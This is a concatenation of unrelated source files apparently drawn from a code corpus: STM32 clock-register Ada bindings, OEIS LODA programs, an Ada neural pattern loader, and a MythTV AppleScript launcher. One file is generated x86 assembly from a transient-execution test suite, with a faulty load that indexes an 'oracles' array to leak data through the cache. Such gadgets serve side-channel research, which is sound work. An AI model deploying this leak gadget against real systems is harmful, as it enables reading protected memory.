Bit_Order => System.Low_Order_First;
for C2APB2ENR_Register use record
Reserved_0_8 at 0 range 0 .. 8;
ADCEN at 0 range 9 .. 9;
Reserved_10_10 at 0 range 10 .. 10;
TIM1EN at 0 range 11 .. 11;
SPI1EN at 0 range 12 .. 12;
Reserved_13_13 at 0 range 13 .. 13;
USART1EN at 0 range 14 .. 14;
Reserved_15_16 at 0 range 15 .. 16;
TIM16EN at 0 range 17 .. 17;
TIM17EN at 0 range 18 .. 18;
Reserved_19_31 at 0 range 19 .. 31;
end record;
-- CPU2 APB3 peripheral clock enable register [dual core device only]
type C2APB3ENR_Register is record
-- CPU2 sub-GHz radio SPI clock enable
SUBGHZSPIEN : Boolean := False;
-- unspecified
Reserved_1_31 : HAL.UInt31 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2APB3ENR_Register use record
SUBGHZSPIEN at 0 range 0 .. 0;
Reserved_1_31 at 0 range 1 .. 31;
end record;
-- CPU2 AHB1 peripheral clocks enable in Sleep modes register [dual core
-- device only]
type C2AHB1SMENR_Register is record
-- DMA1 clock enable during CPU2 CSleep mode.
DMA1SMEN : Boolean := True;
-- DMA2 clock enable during CPU2 CSleep mode.
DMA2SMEN : Boolean := True;
-- DMAMUX1 clock enable during CPU2 CSleep mode.
DMAMUX1SMEN : Boolean := True;
-- unspecified
Reserved_3_11 : HAL.UInt9 := 16#0#;
-- CRC clock enable during CPU2 CSleep mode.
CRCSMEN : Boolean := True;
-- unspecified
Reserved_13_31 : HAL.UInt19 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2AHB1SMENR_Register use record
DMA1SMEN at 0 range 0 .. 0;
DMA2SMEN at 0 range 1 .. 1;
DMAMUX1SMEN at 0 range 2 .. 2;
Reserved_3_11 at 0 range 3 .. 11;
CRCSMEN at 0 range 12 .. 12;
Reserved_13_31 at 0 range 13 .. 31;
end record;
-- CPU2 AHB2 peripheral clocks enable in Sleep modes register [dual core
-- device only]
type C2AHB2SMENR_Register is record
-- IO port A clock enable during CPU2 CSleep mode.
GPIOASMEN : Boolean := True;
-- IO port B clock enable during CPU2 CSleep mode.
GPIOBSMEN : Boolean := True;
-- IO port C clock enable during CPU2 CSleep mode.
GPIOCSMEN : Boolean := True;
-- unspecified
Reserved_3_6 : HAL.UInt4 := 16#0#;
-- IO port H clock enable during CPU2 CSleep mode.
GPIOHSMEN : Boolean := True;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2AHB2SMENR_Register use record
GPIOASMEN at 0 range 0 .. 0;
GPIOBSMEN at 0 range 1 .. 1;
GPIOCSMEN at 0 range 2 .. 2;
Reserved_3_6 at 0 range 3 .. 6;
GPIOHSMEN at 0 range 7 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
-- CPU2 AHB3 peripheral clocks enable in Sleep mode register [dual core
-- device only]
type C2AHB3SMENR_Register is record
-- unspecified
Reserved_0_15 : HAL.UInt16 := 16#0#;
-- PKA accelerator clock enable during CPU2 CSleep mode.
PKASMEN : Boolean := True;
-- AES accelerator clock enable during CPU2 CSleep mode.
AESSMEN : Boolean := True;
-- True RNG clock enable during CPU2 CSleep and CStop mode.
RNGSMEN : Boolean := True;
-- unspecified
Reserved_19_22 : HAL.UInt4 := 16#0#;
-- SRAM1 interface clock enable during CPU2 CSleep mode.
SRAM1SMEN : Boolean := True;
-- SRAM2 memory interface clock enable during CPU2 CSleep mode.
SRAM2SMEN : Boolean := True;
-- Flash interface clock enable during CPU2 CSleep mode.
FLASHSMEN : Boolean := True;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2AHB3SMENR_Register use record
Reserved_0_15 at 0 range 0 .. 15;
PKASMEN at 0 range 16 .. 16;
AESSMEN at 0 range 17 .. 17;
RNGSMEN at 0 range 18 .. 18;
Reserved_19_22 at 0 range 19 .. 22;
SRAM1SMEN at 0 range 23 .. 23;
SRAM2SMEN at 0 range 24 .. 24;
FLASHSMEN at 0 range 25 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
-- CPU2 APB1 peripheral clocks enable in Sleep mode register 1 [dual core
-- device only]
type C2APB1SMENR1_Register is record
-- TIM2 timer clock enable during CPU2 CSleep mode.
TIM2SMEN : Boolean := True;
-- unspecified
Reserved_1_9 : HAL.UInt9 := 16#0#;
-- RTC bus clock enable during CPU2 CSleep mode.
RTCAPBSMEN : Boolean := True;
-- unspecified
Reserved_11_13 : HAL.UInt3 := 16#0#;
-- SPI2S2 clock enable during CPU2 CSleep mode.
SPI2S2SMEN : Boolean := True;
-- unspecified
Reserved_15_16 : HAL.UInt2 := 16#0#;
-- USART2 clock enable during CPU2 CSleep mode.
USART2SMEN : Boolean := True;
-- unspecified
Reserved_18_20 : HAL.UInt3 := 16#0#;
-- I2C1 clock enable during CPU2 CSleep and CStop modes
I2C1SMEN : Boolean := True;
-- I2C2 clock enable during CPU2 CSleep and CStop modes
I2C2SMEN : Boolean := True;
-- I2C3 clock enable during CPU2 CSleep and CStop modes
I2C3SMEN : Boolean := True;
-- unspecified
Reserved_24_28 : HAL.UInt5 := 16#0#;
-- DAC1 clock enable during CPU2 CSleep mode.
DAC1SMEN : Boolean := True;
-- unspecified
Reserved_30_30 : HAL.Bit := 16#0#;
-- Low power timer 1 clock enable during CPU2 CSleep and CStop mode
LPTIM1SMEN : Boolean := True;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2APB1SMENR1_Register use record
TIM2SMEN at 0 range 0 .. 0;
Reserved_1_9 at 0 range 1 .. 9;
RTCAPBSMEN at 0 range 10 .. 10;
Reserved_11_13 at 0 range 11 .. 13;
SPI2S2SMEN at 0 range 14 .. 14;
Reserved_15_16 at 0 range 15 .. 16;
USART2SMEN at 0 range 17 .. 17;
Reserved_18_20 at 0 range 18 .. 20;
I2C1SMEN at 0 range 21 .. 21;
I2C2SMEN at 0 range 22 .. 22;
I2C3SMEN at 0 range 23 .. 23;
Reserved_24_28 at 0 range 24 .. 28;
DAC1SMEN at 0 range 29 .. 29;
Reserved_30_30 at 0 range 30 .. 30;
LPTIM1SMEN at 0 range 31 .. 31;
end record;
-- CPU2 APB1 peripheral clocks enable in Sleep mode register 2 [dual core
-- device only]
type C2APB1SMENR2_Register is record
-- Low power UART 1 clock enable during CPU2 CSleep and CStop mode
LPUART1SMEN : Boolean := True;
-- unspecified
Reserved_1_4 : HAL.UInt4 := 16#0#;
-- Low power timer 2 clocks enable during CPU2 CSleep and CStop modes.
LPTIM2SMEN : Boolean := True;
-- Low power timer 3 clocks enable during CPU2 CSleep and CStop modes.
LPTIM3SMEN : Boolean := True;
-- unspecified
Reserved_7_31 : HAL.UInt25 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2APB1SMENR2_Register use record
LPUART1SMEN at 0 range 0 .. 0;
Reserved_1_4 at 0 range 1 .. 4;
LPTIM2SMEN at 0 range 5 .. 5;
LPTIM3SMEN at 0 range 6 .. 6;
Reserved_7_31 at 0 range 7 .. 31;
end record;
-- CPU2 APB2 peripheral clocks enable in Sleep mode register [dual core
-- device only]
type C2APB2SMENR_Register is record
-- unspecified
Reserved_0_8 : HAL.UInt9 := 16#0#;
-- ADC clocks enable during CPU2 Csleep and CStop modes
ADCSMEN : Boolean := True;
-- unspecified
Reserved_10_10 : HAL.Bit := 16#0#;
-- TIM1 timer clock enable during CPU2 CSleep mode
TIM1SMEN : Boolean := True;
-- SPI1 clock enable during CPU2 CSleep mode
SPI1SMEN : Boolean := True;
-- unspecified
Reserved_13_13 : HAL.Bit := 16#0#;
-- USART1clock enable during CPU2 CSleep and CStop mode
USART1SMEN : Boolean := True;
-- unspecified
Reserved_15_16 : HAL.UInt2 := 16#0#;
-- TIM16 timer clock enable during CPU2 CSleep mode
TIM16SMEN : Boolean := True;
-- TIM17 timer clock enable during CPU2 CSleep mode
TIM17SMEN : Boolean := True;
-- unspecified
Reserved_19_31 : HAL.UInt13 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2APB2SMENR_Register use record
Reserved_0_8 at 0 range 0 .. 8;
ADCSMEN at 0 range 9 .. 9;
Reserved_10_10 at 0 range 10 .. 10;
TIM1SMEN at 0 range 11 .. 11;
SPI1SMEN at 0 range 12 .. 12;
Reserved_13_13 at 0 range 13 .. 13;
USART1SMEN at 0 range 14 .. 14;
Reserved_15_16 at 0 range 15 .. 16;
TIM16SMEN at 0 range 17 .. 17;
TIM17SMEN at 0 range 18 .. 18;
Reserved_19_31 at 0 range 19 .. 31;
end record;
-- CPU2 APB3 peripheral clock enable in Sleep mode register [dual core
-- device only]
type C2APB3SMENR_Register is record
-- sub-GHz radio SPI clock enable during CPU2 CSleep and CStop modes
SUBGHZSPISMEN : Boolean := True;
-- unspecified
Reserved_1_31 : HAL.UInt31 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2APB3SMENR_Register use record
SUBGHZSPISMEN at 0 range 0 .. 0;
Reserved_1_31 at 0 range 1 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- Reset and clock control
type RCC_Peripheral is record
-- Clock control register
CR : aliased CR_Register;
-- Internal clock sources calibration register
ICSCR : aliased ICSCR_Register;
-- Clock configuration register
CFGR : aliased CFGR_Register;
-- PLL configuration register
PLLCFGR : aliased PLLCFGR_Register;
-- Clock interrupt enable register
CIER : aliased CIER_Register;
-- Clock interrupt flag register
CIFR : aliased CIFR_Register;
-- Clock interrupt clear register
CICR : aliased CICR_Register;
-- AHB1 peripheral reset register
AHB1RSTR : aliased AHB1RSTR_Register;
-- AHB2 peripheral reset register
AHB2RSTR : aliased AHB2RSTR_Register;
-- AHB3 peripheral reset register
AHB3RSTR : aliased AHB3RSTR_Register;
-- APB1 peripheral reset register 1
APB1RSTR1 : aliased APB1RSTR1_Register;
-- APB1 peripheral reset register 2
APB1RSTR2 : aliased APB1RSTR2_Register;
-- APB2 peripheral reset register
APB2RSTR : aliased APB2RSTR_Register;
-- APB3 peripheral reset register
APB3RSTR : aliased APB3RSTR_Register;
-- AHB1 peripheral clock enable register
AHB1ENR : aliased AHB1ENR_Register;
-- AHB2 peripheral clock enable register
AHB2ENR : aliased AHB2ENR_Register;
-- AHB3 peripheral clock enable register
AHB3ENR : aliased AHB3ENR_Register;
-- APB1 peripheral clock enable register 1
APB1ENR1 : aliased APB1ENR1_Register;
-- APB1 peripheral clock enable register 2
APB1ENR2 : aliased APB1ENR2_Register;
-- APB2 peripheral clock enable register
APB2ENR : aliased APB2ENR_Register;
-- APB3 peripheral clock enable register
APB3ENR : aliased APB3ENR_Register;
-- AHB1 peripheral clocks enable in Sleep modes register
AHB1SMENR : aliased AHB1SMENR_Register;
-- AHB2 peripheral clocks enable in Sleep modes register
AHB2SMENR : aliased AHB2SMENR_Register;
-- AHB3 peripheral clocks enable in Sleep and Stop modes register
AHB3SMENR : aliased AHB3SMENR_Register;
-- APB1 peripheral clocks enable in Sleep mode register 1
APB1SMENR1 : aliased APB1SMENR1_Register;
-- APB1 peripheral clocks enable in Sleep mode register 2
APB1SMENR2 : aliased APB1SMENR2_Register;
-- APB2 peripheral clocks enable in Sleep mode register
APB2SMENR : aliased APB2SMENR_Register;
-- APB3 peripheral clock enable in Sleep mode register
APB3SMENR : aliased APB3SMENR_Register;
-- Peripherals independent clock configuration register
CCIPR : aliased CCIPR_Register;
-- Backup domain control register
BDCR : aliased BDCR_Register;
-- Control/status register
CSR : aliased CSR_Register;
-- Extended clock recovery register
EXTCFGR : aliased EXTCFGR_Register;
-- CPU2 AHB1 peripheral clock enable register
C2AHB1ENR : aliased C2AHB1ENR_Register;
-- CPU2 AHB2 peripheral clock enable register
C2AHB2ENR : aliased C2AHB2ENR_Register;
-- CPU2 AHB3 peripheral clock enable register [dual core device only]
C2AHB3ENR : aliased C2AHB3ENR_Register;
-- CPU2 APB1 peripheral clock enable register 1 [dual core device only]
C2APB1ENR1 : aliased C2APB1ENR1_Register;
-- CPU2 APB1 peripheral clock enable register 2 [dual core device only]
C2APB1ENR2 : aliased C2APB1ENR2_Register;
-- CPU2 APB2 peripheral clock enable register [dual core device only]
C2APB2ENR : aliased C2APB2ENR_Register;
-- CPU2 APB3 peripheral clock enable register [dual core device only]
C2APB3ENR : aliased C2APB3ENR_Register;
-- CPU2 AHB1 peripheral clocks enable in Sleep modes register [dual core
-- device only]
C2AHB1SMENR : aliased C2AHB1SMENR_Register;
-- CPU2 AHB2 peripheral clocks enable in Sleep modes register [dual core
-- device only]
C2AHB2SMENR : aliased C2AHB2SMENR_Register;
-- CPU2 AHB3 peripheral clocks enable in Sleep mode register [dual core
-- device only]
C2AHB3SMENR : aliased C2AHB3SMENR_Register;
-- CPU2 APB1 peripheral clocks enable in Sleep mode register 1 [dual
-- core device only]
C2APB1SMENR1 : aliased C2APB1SMENR1_Register;
-- CPU2 APB1 peripheral clocks enable in Sleep mode register 2 [dual
-- core device only]
C2APB1SMENR2 : aliased C2APB1SMENR2_Register;
-- CPU2 APB2 peripheral clocks enable in Sleep mode register [dual core
-- device only]
C2APB2SMENR : aliased C2APB2SMENR_Register;
-- CPU2 APB3 peripheral clock enable in Sleep mode register [dual core
-- device only]
C2APB3SMENR : aliased C2APB3SMENR_Register;
end record
with Volatile;
for RCC_Peripheral use record
CR at 16#0# range 0 .. 31;
ICSCR at 16#4# range 0 .. 31;
CFGR at 16#8# range 0 .. 31;
PLLCFGR at 16#C# range 0 .. 31;
CIER at 16#18# range 0 .. 31;
CIFR at 16#1C# range 0 .. 31;
CICR at 16#20# range 0 .. 31;
AHB1RSTR at 16#28# range 0 .. 31;
AHB2RSTR at 16#2C# range 0 .. 31;
AHB3RSTR at 16#30# range 0 .. 31;
APB1RSTR1 at 16#38# range 0 .. 31;
APB1RSTR2 at 16#3C# range 0 .. 31;
APB2RSTR at 16#40# range 0 .. 31;
APB3RSTR at 16#44# range 0 .. 31;
AHB1ENR at 16#48# range 0 .. 31;
AHB2ENR at 16#4C# range 0 .. 31;
AHB3ENR at 16#50# range 0 .. 31;
APB1ENR1 at 16#58# range 0 .. 31;
APB1ENR2 at 16#5C# range 0 .. 31;
APB2ENR at 16#60# range 0 .. 31;
APB3ENR at 16#64# range 0 .. 31;
AHB1SMENR at 16#68# range 0 .. 31;
AHB2SMENR at 16#6C# range 0 .. 31;
AHB3SMENR at 16#70# range 0 .. 31;
APB1SMENR1 at 16#78# range 0 .. 31;
APB1SMENR2 at 16#7C# range 0 .. 31;
APB2SMENR at 16#80# range 0 .. 31;
APB3SMENR at 16#84# range 0 .. 31;
CCIPR at 16#88# range 0 .. 31;
BDCR at 16#90# range 0 .. 31;
CSR at 16#94# range 0 .. 31;
EXTCFGR at 16#108# range 0 .. 31;
C2AHB1ENR at 16#148# range 0 .. 31;
C2AHB2ENR at 16#14C# range 0 .. 31;
C2AHB3ENR at 16#150# range 0 .. 31;
C2APB1ENR1 at 16#158# range 0 .. 31;
C2APB1ENR2 at 16#15C# range 0 .. 31;
C2APB2ENR at 16#160# range 0 .. 31;
C2APB3ENR at 16#164# range 0 .. 31;
C2AHB1SMENR at 16#168# range 0 .. 31;
C2AHB2SMENR at 16#16C# range 0 .. 31;
C2AHB3SMENR at 16#170# range 0 .. 31;
C2APB1SMENR1 at 16#178# range 0 .. 31;
C2APB1SMENR2 at 16#17C# range 0 .. 31;
C2APB2SMENR at 16#180# range 0 .. 31;
C2APB3SMENR at 16#184# range 0 .. 31;
end record;
-- Reset and clock control
RCC_Periph : aliased RCC_Peripheral
with Import, Address => RCC_Base;
end STM32_SVD.RCC;
|
programs/oeis/168/A168462.asm | neoneye/loda | 22 | 103495 | <filename>programs/oeis/168/A168462.asm
; A168462: a(n) = n^5*(n^8 + 1)/2.
; 0,1,4112,797283,33554944,610353125,6530350896,48444513607,274877923328,1270932943689,5000000050000,17261356152491,53496602813952,151437553481773,396857386895984,973097534559375,2251799814209536,4952289017162897,10411482433780368,21026491732366579,40960000001600000,77236188871601781,141405028944118192,252018180971451863,438244169236660224,745058059697265625,1240576436607808976,2026277576516662587,3251055711257579008,5130314356489556669,7971615000012150000,12208773148736835871,18446744073726328832,27520176996743819553,40569151622805435664,59136358891017471875,85290864089819337216,121784612108075324677,172249020261444531248,241440374283785401959,335544320000051200000,462551551157564742761,632718859219498657872,859132062141218896843,1158389997089189410304,1551431779986054178125,2064532938491873382256,2730499853060406261167,3590096234354233049088,4693740168824018390449,6103515625000156250000,7895548281578518610451,10162802168642695117312,13018360962803452195733,16599265906765956372144,21070991298786262384375,26632648386551868932096,33523019376248331384057,42027535208278762744528,52486323838066572610139,65303470080000388800000,80957643716076800126941,100014269634335352519152,123139432347083574428223,151115727451829183709184,184860294550936249090625,225445289957165697374736,274121083305201389405347,332342490093836752429568,401798382335818025749029,484445052035000840350000,582543737292749697380231,698702758623553308475392,835924753696895479506313,997659542389070136409424,1187863200902940029296875,1411063973981430320498176,1672435708095599323837037,1977879546132401898116208,2334114685751130597095119,2748779069440001638400000,3230540944613338392858321,3789222307082297679398032,4435935321154438632542003,5183232894725599785060864,6045274678287317282003125,7038009853060265408490416,8179378175765151250991127,9489530856153966791016448,10991072958654168035536409,12709329141645002952450000,14672634677319020731449211,16912653832124586418499072,19464727832790739797847293,22368254796269912363851504,25667104163975259606209375,29410068351828837537939456,33651354508278747307979617,38451119463005206155542288,43876051149948404147560899
mov $1,$0
pow $0,5
mov $2,$1
pow $2,8
mul $2,$0
add $0,$2
div $0,2
|
2-low/neural/source/neural-forge.adb | charlie5/lace | 20 | 11657 | with ada.unchecked_Deallocation;
with Ada.Sequential_IO;
with Ada.Text_IO;
package body Neural.Forge
--
--
--
is
type Signals_view is access all Signals;
procedure free is new ada.unchecked_Deallocation (Signals, Signals_view);
-- Pattern
--
procedure Destroy (Self : in out Pattern)
is
begin
Free (Signals_view (Self.Inputs));
Free (Signals_view (Self.Outputs));
end Destroy;
function Creation (From : in Pattern) return Pattern
is
Self : constant Pattern := (Inputs => new Signals'(From.Inputs.all),
Outputs => new Signals'(From.Outputs.all));
begin
return Self;
end Creation;
-- Patterns
--
package Signal_IO is new Ada.Sequential_IO (Signal);
procedure Free is new Ada.Unchecked_Deallocation (Patterns, neural.Set.Patterns_view);
function Creation (From_File_Named : in String) return neural.Set.Patterns_view
is
use Signal_IO, ada.Text_IO;
the_File : ada.text_io.File_Type;
begin
open (the_File, in_File, From_File_Named & ".bounds");
declare
Num_Patterns : constant Natural := Integer'Value (get_Line (the_File));
Num_Inputs : constant Positive := Integer'Value (get_Line (the_File));
Num_Outputs : constant Positive := Integer'Value (get_Line (the_File));
Signals_File : signal_io.File_Type;
The_Creation : constant neural.Set.Patterns_view := new Patterns (1 .. Num_Patterns);
begin
open (Signals_File, In_File, From_File_Named & ".signals");
for Each_Pattern in The_Creation'Range
loop
The_Creation (Each_Pattern).Inputs := new Signals (1 .. Num_Inputs);
The_Creation (Each_Pattern).Outputs := new Signals (1 .. Num_Outputs);
for Each_Input in The_Creation (Each_Pattern).Inputs'Range
loop
Read (Signals_File, The_Creation (Each_Pattern).Inputs (Each_Input));
end loop;
for Each_Output in The_Creation (Each_Pattern).Outputs'Range
loop
Read (Signals_File, The_Creation (Each_Pattern).Outputs (Each_Output));
end loop;
end loop;
Close (Signals_File);
close (the_File);
return The_Creation;
end;
end Creation;
procedure Destroy (Self : in out Patterns)
is
begin
for Each in Self'Range loop
Destroy (Self (Each));
end loop;
end Destroy;
procedure Destroy (Self : in out neural.Set.Patterns_view)
is
use type Neural.Set.Patterns_view;
begin
if Self /= null then
Destroy (Self.all);
Free (Self);
end if;
end Destroy;
procedure Store (Self : in Patterns;
In_File_Named : in String)
is
use Signal_IO;
use Ada.Text_IO;
Bounds_File : Ada.Text_IO.File_Type;
Signals_File : Signal_IO.File_Type;
begin
create (Bounds_File, Out_File, In_File_Named & ".bounds");
put_Line (Bounds_File, Integer'Image (Self'Length));
put_Line (Bounds_File, Integer'Image (Self (1).Inputs'Length));
put_Line (Bounds_File, Integer'Image (Self (1).Outputs'Length));
close (Bounds_File);
Create (Signals_File, Out_File, In_File_Named & ".signals");
for Each_Pattern in Self'Range loop
for Each_Input in Self (Each_Pattern).Inputs'Range loop
Write (Signals_File, Self (Each_Pattern).Inputs (Each_Input));
end loop;
for Each_Output in Self (Each_Pattern).Outputs'Range loop
Write (Signals_File, Self (Each_Pattern).Outputs (Each_Output));
end loop;
end loop;
Close (Signals_File);
end Store;
end Neural.Forge;
|
programs/oeis/070/A070098.asm | neoneye/loda | 22 | 10191 | ; A070098: Number of integer triangles with perimeter n which are acute and isosceles.
; 0,0,1,0,1,1,1,1,2,2,2,2,3,2,3,3,4,3,4,4,4,4,5,4,5,5,6,5,6,6,6,6,7,7,7,7,8,7,8,8,8,8,9,9,9,9,10,9,10,10,11,10,11,11,11,11,12,12,12,12,13,12,13,13,13,13,14,14,14,14,15,14,15,15,16,15,16,16,16,16,17,16,17,17,18,17,18,18,18,18,19,19,19,19,20,19,20,20,21,20
mov $2,$0
seq $0,188376 ; Positions of 1 in A188374; complement of A188375.
sub $0,$2
sub $0,$2
add $0,5
div $0,2
sub $0,3
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_756.asm | ljhsiun2/medusa | 9 | 88796 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r8
push %r9
push %rbx
push %rsi
// Store
lea addresses_normal+0x149cf, %rbx
nop
nop
and %r10, %r10
mov $0x5152535455565758, %r15
movq %r15, %xmm0
movups %xmm0, (%rbx)
nop
inc %r9
// Store
mov $0x24d, %rbx
nop
nop
nop
add %r8, %r8
movl $0x51525354, (%rbx)
cmp $27803, %r12
// Load
lea addresses_RW+0x1b06f, %r10
nop
nop
nop
nop
nop
cmp $27661, %rsi
mov (%r10), %r15w
nop
nop
nop
nop
nop
xor $7030, %r9
// Faulty Load
lea addresses_RW+0x1bacf, %rbx
nop
nop
add %r9, %r9
movups (%rbx), %xmm3
vpextrq $1, %xmm3, %r15
lea oracles, %r10
and $0xff, %r15
shlq $12, %r15
mov (%r10,%r15,1), %r15
pop %rsi
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_RW', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_P', 'congruent': 0}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_RW', 'congruent': 4}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_RW', 'congruent': 0}}
<gen_prepare_buffer>
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
multimedia/mythtv-core.25/files/Myth_Frontend.applescript | telotortium/macports-ports | 0 | 2193 | <filename>multimedia/mythtv-core.25/files/Myth_Frontend.applescript
(* Applescript to run 'Unix' version of mythfronted
For use with MacPorts install of Myth
Author: <NAME>, ctreleaven at cogeco.ca
Version: 0.25.0
Modified: 2012May15
2012Nov20 -- handle 'thread not shut down error' on exit, add --quiet to prevent
console output from being returned to AppleScript, allow experimental AirPlay
*)
property MFEappPath : "@PREFIX@/bin/mythfrontend"
property MFElogArg : "--logpath @MYTHTVLOGDIR@"
property MFElogLevel : "info" -- single string
property MFEverboseLevel : {"none", "general"} -- a list, can be multiple strings
set CmdList to {"AIRPLAY=\"1\"", MFEappPath, MFElogArg, "--loglevel " & MFElogLevel, "--verbose " & joinlist(MFEverboseLevel, ","), "--quiet"}
set Cmd to (joinlist(CmdList, " "))
try
do shell script Cmd
on error the error_message number the error_number
if the error_number is not 133 then
set the error_text to "Error: " & the error_number & ". " & the error_message
display dialog the error_text buttons {"OK"} default button 1
return the error_text
end if
end try
-- -- -- -- -- -- -- --
-- Handlers
to joinlist(aList, delimiter)
set retVal to ""
set prevDelimiter to AppleScript's text item delimiters
set AppleScript's text item delimiters to delimiter
set retVal to aList as string
set AppleScript's text item delimiters to prevDelimiter
return retVal
end joinlist
|
source/amf/mof/amf-internals-tables-amf_types.ads | svn2github/matreshka | 24 | 19082 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
